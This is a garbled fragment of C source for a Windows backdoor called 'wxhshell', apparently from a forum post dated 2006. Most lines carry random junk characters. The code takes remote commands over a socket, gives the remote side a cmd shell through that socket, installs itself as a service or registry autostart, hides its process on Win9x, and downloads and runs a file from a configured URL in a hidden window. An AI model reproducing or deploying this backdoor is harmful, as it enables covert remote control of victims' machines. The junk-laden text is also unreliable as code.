    switch(cmd[0]) { qP"JNswI_  
  f%{Tu`  
  // 帮助 'Y[A'.*}4  
  case '?': { gOyY#]g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Q$)|/Y))  
    break; !/}FPM_  
  } B~>cNj<  
  // 安装 &ZE\@Vc  
  case 'i': { u`pROd/ R5  
    if(Install()) d_C4B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); sdf%  
    else b;L>%;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); b!]0mXU  
    break; f9,EWuQNS  
    } # \; >8  
  // 卸载 |WAD $3  
  case 'r': { lB!vF ~A&  
    if(Uninstall()) u5Ny=Xm  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (.1 rtj  
    else cVay=5].  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ufCqvv>'  
    break; wm=RD98  
    } x48'1&m  
  // 显示 wxhshell 所在路径 L"foL  
  case 'p': { Vd +Q:L  
    char svExeFile[MAX_PATH]; f>r3$WKj  
    strcpy(svExeFile,"\n\r"); -~][0PVL9  
      strcat(svExeFile,ExeFile); }t|Plz  
        send(wsh,svExeFile,strlen(svExeFile),0); ]G0dS Fh{j  
    break; Cqgk  
    } 9k:W1wgH1  
  // 重启 "#pzZ)Zh  
  case 'b': { nlzW.OLM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); t'R':+0Vf  
    if(Boot(REBOOT)) ~o@\ n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~XUOWY75  
    else { /2e%s:")h  
    closesocket(wsh); PW%1xHLfk  
    ExitThread(0); 7qg<[  
    } kG1;]1tT#  
    break; b]*X<,p  
    } ]U,CKJF%/  
  // 关机 dL_QX,X-]  
  case 'd': { 5VR.o!h3I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |3{+6cg  
    if(Boot(SHUTDOWN)) ~BZXt7DE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); gYatsFyL  
    else { 5`{vE4A]q  
    closesocket(wsh); X>8-` p  
    ExitThread(0); G#H9g PY  
    } ~G>jw"r  
    break; 6&89~W{  
    } NZLXN  
  // 获取shell GQN98Y+h  
  case 's': { Y4#y34 We  
    CmdShell(wsh); =<{h^-j;a  
    closesocket(wsh); ll^DY hx}  
    ExitThread(0); BhKO_wQ?:J  
    break; |q;Al z{  
  } P,i"&9 8  
  // 退出 Sx8l<X  
  case 'x': { x>%joKY[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0);  tPA:_  
    CloseIt(wsh); T2wv0sHlt  
    break; Z>8eD|m%2  
    } =7 VCtd/  
  // 离开 M>T[!*nTj  
  case 'q': { K;x~&G0=  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); xf/m!b"p  
    closesocket(wsh); $A`xhh[  
    WSACleanup(); gN?0m4[$i  
    exit(1); #{x5L^v>]  
    break; xO7Yt l  
        } f&ytK  
  } WSLy}@`Vx  
  } ^agj4$  
?; [ T  
  // 提示信息 tMFsA`ng  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); |3;(~a)%  
} Ky kSFB  
  } !\;:36B#6  
G2]^F Y  
  return; RN[]Jt#6  
} JrDHRIkgm  
O8lFx_N7Q  
// shell模块句柄 WPo:^BD   
int CmdShell(SOCKET sock) +`.,| |Mq  
{ O*G1 QX  
STARTUPINFO si; S`iR9{+&  
ZeroMemory(&si,sizeof(si)); L-\ =J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?x3Jv<G0*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 8o|P&q(v*  
PROCESS_INFORMATION ProcessInfo; `T"rG }c  
char cmdline[]="cmd"; VFj(M j`}G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); DM),|Nq"  
  return 0; 40#9]=;}  
}  s;Y<BD  
3c#s|qW  
// 自身启动模式 WUEHB  
int StartFromService(void) -M4p\6)Ge  
{ |P~;C6sf  
typedef struct ;..o7I  
{ >7b)y  
  DWORD ExitStatus; 2Y OKM #N]  
  DWORD PebBaseAddress; E0l _--  
  DWORD AffinityMask; -5b A $  
  DWORD BasePriority; B,vOsa"x6`  
  ULONG UniqueProcessId; oyx^a9  
  ULONG InheritedFromUniqueProcessId; s8<gK.atl  
}   PROCESS_BASIC_INFORMATION; 7:Zt uc]  
{0v*xL_O^  
PROCNTQSIP NtQueryInformationProcess; Yr+23Ro  
>#(n"RCHf  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; x,8<tSW)Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; d]wD[]  
g(hOg~S\E  
  HANDLE             hProcess; !EBY@ Y1  
  PROCESS_BASIC_INFORMATION pbi; E D"!n-Hq  
b]Z@^<_E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Yu3zM79'k  
  if(NULL == hInst ) return 0; 4Ysb5m)u  
+wO#'D  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); q]% T:A=  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); G64Fx*`  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7 s Fz?` -  
OMrc_)he\  
  if (!NtQueryInformationProcess) return 0; 1X1 N tS @  
K^[#]+nQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 4QHS{tj  
  if(!hProcess) return 0; g"_C,XN  
!#yq@2QX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; O;9?(:_  
K^l:MxO-X  
  CloseHandle(hProcess); ]wVk+%e  
OE`X<h4r  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ;#/@+4@a&  
if(hProcess==NULL) return 0; An`3Ex[  
b1#dz]  
HMODULE hMod; lUOvm\  
char procName[255]; q2aYEuu,  
unsigned long cbNeeded; =EP13J  
.Ajzr8P  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); uQ1@b-e`5  
TUK"nKSZ`.  
  CloseHandle(hProcess); YwEpy(}hJm  
}T2xXbU  
if(strstr(procName,"services")) return 1; // 以服务启动 (2ot5x}`j  
?%tMohL  
  return 0; // 注册表启动 {Ro2ouQ!V  
} #6v27:XK  
H6*^Ga  
// 主模块 df}r% i  
int StartWxhshell(LPSTR lpCmdLine)  mEG6  
{ 6fo3:P*O  
  SOCKET wsl; ,_.I\EY[  
BOOL val=TRUE; &F *' B|n  
  int port=0; Jzji&A~  
  struct sockaddr_in door; H9XvO  
BXms;[  
  if(wscfg.ws_autoins) Install(); z;f2*F  
Dr&('RZ4  
port=atoi(lpCmdLine); 96cJ8I8  
Z%zj";C G  
if(port<=0) port=wscfg.ws_port; tsOrt3   
$4kH3+WJ  
  WSADATA data; M-L2w"  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; E907fX[R~  
- Xu.1S  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   v,-{Z1N%m  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K;?,FlH  
  door.sin_family = AF_INET; l:0s2  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); iXu]e;6  
  door.sin_port = htons(port); =!O*/6rz  
?_x q-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Va,<3z%O<  
closesocket(wsl); Xp\/YJOibd  
return 1; cMyiW$;  
} geQ{EwO8n  
!-2R;yo12  
  if(listen(wsl,2) == INVALID_SOCKET) {  ~\,w {  
closesocket(wsl); K 8n4oz#z  
return 1; <DKS+R  
} 9CA^B2u  
  Wxhshell(wsl); {,*"3O:\:  
  WSACleanup(); 9I1tN  
/MY9 >  
return 0; Qy<[7  
5w%_$x  
} l Z#o+d2Y  
tQZs.1=z  
// 以NT服务方式启动 w%WF-:u7|  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <VD8bTk  
{ WZOY)>K  
DWORD   status = 0; 8N:owK  
  DWORD   specificError = 0xfffffff; k(zsm"<q  
-.g|l\  
  serviceStatus.dwServiceType     = SERVICE_WIN32; lb'GXd %  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; uwRr LF  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &] \X]p  
  serviceStatus.dwWin32ExitCode     = 0; >zDF2Y[  
  serviceStatus.dwServiceSpecificExitCode = 0; * ),8PoT  
  serviceStatus.dwCheckPoint       = 0; kYzC#.|1  
  serviceStatus.dwWaitHint       = 0; :2njp%  
>iS`pb  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8$(Dz]v|[&  
  if (hServiceStatusHandle==0) return; )tCX y4  
jV(6>BAI_  
status = GetLastError(); n@ w^ V   
  if (status!=NO_ERROR) JG9`h#  
{ kId n6 Wx,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; e/->_T(I  
    serviceStatus.dwCheckPoint       = 0; mhW-J6u*  
    serviceStatus.dwWaitHint       = 0; W8lx~:v  
    serviceStatus.dwWin32ExitCode     = status; ^F:k3,_[  
    serviceStatus.dwServiceSpecificExitCode = specificError; O?<&+(uMTT  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); `DT3x{}_S  
    return; ',GS#~  
  } )sho*;_o  
k</%YKk  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; e" ]2=5g  
  serviceStatus.dwCheckPoint       = 0; g;ZxvR)ZJk  
  serviceStatus.dwWaitHint       = 0; 7LO%#No",  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); U^qt6$bK  
} lV.F,3  
E~LT b) !  
// 处理NT服务事件,比如:启动、停止 V138d?Mm  
VOID WINAPI NTServiceHandler(DWORD fdwControl) &-5_f* {  
{ ' oF xR003  
switch(fdwControl) 3s"0SLS4  
{ E*?<KZe"  
case SERVICE_CONTROL_STOP: ;/j= Ny{9  
  serviceStatus.dwWin32ExitCode = 0; 1^i Pji/  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; E9V 5$  
  serviceStatus.dwCheckPoint   = 0; #z1H8CFL"  
  serviceStatus.dwWaitHint     = 0; 6%Be36<  
  { V5U?F6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Z'H5,)j0R  
  } t<n"-Tqu  
  return; /x{s5P 3  
case SERVICE_CONTROL_PAUSE: k1VT /u  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; w,Ee>cV]a  
  break; z"*/mP2  
case SERVICE_CONTROL_CONTINUE: f<A5?eKw  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; c*UvYzDZL  
  break; N25V ]  
case SERVICE_CONTROL_INTERROGATE: "(qw-kil  
  break; ~{}#)gGU  
}; w>b-} t  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); f-n z{U  
} 4Z|vnj)Z  
eSW{Cb  
// 标准应用程序主函数 YIR R=qpn  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) vd6l7"0/  
{ wW>)(&!F  
:NJ(r(QG>  
// 获取操作系统版本 CkswJ:z)sc  
OsIsNt=GetOsVer(); ,.gQ^^+=  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wb Iq&>p  
\ u_ui  
  // 从命令行安装 )!tK[K?5  
  if(strpbrk(lpCmdLine,"iI")) Install(); W[+|}  
q64k7<C,  
  // 下载执行文件 \n9zw'  
if(wscfg.ws_downexe) { +/D>|loRC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {647|j;e  
  WinExec(wscfg.ws_filenam,SW_HIDE); y< C<_2  
} -uh(?])H  
[yj).*0  
if(!OsIsNt) { E\m5%bK\B  
// 如果时win9x,隐藏进程并且设置为注册表启动 eiJ2NwR\w  
HideProc(); X,8<oX1r  
StartWxhshell(lpCmdLine); e|4&b@  
} kM`l  
else _Jv 9F8v  
  if(StartFromService()) Z!0]/mCE8  
  // 以服务方式启动 m?HZ;  
  StartServiceCtrlDispatcher(DispatchTable); , *qCf@$I  
else $BmmNn#  
  // 普通方式启动 XYoIFv?'  
  StartWxhshell(lpCmdLine); CQ;]J=|<_  
6dAEM;$_Z  
return 0; Q!,<@b)  
}
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只看该作者 1 发表于: 2006-10-10
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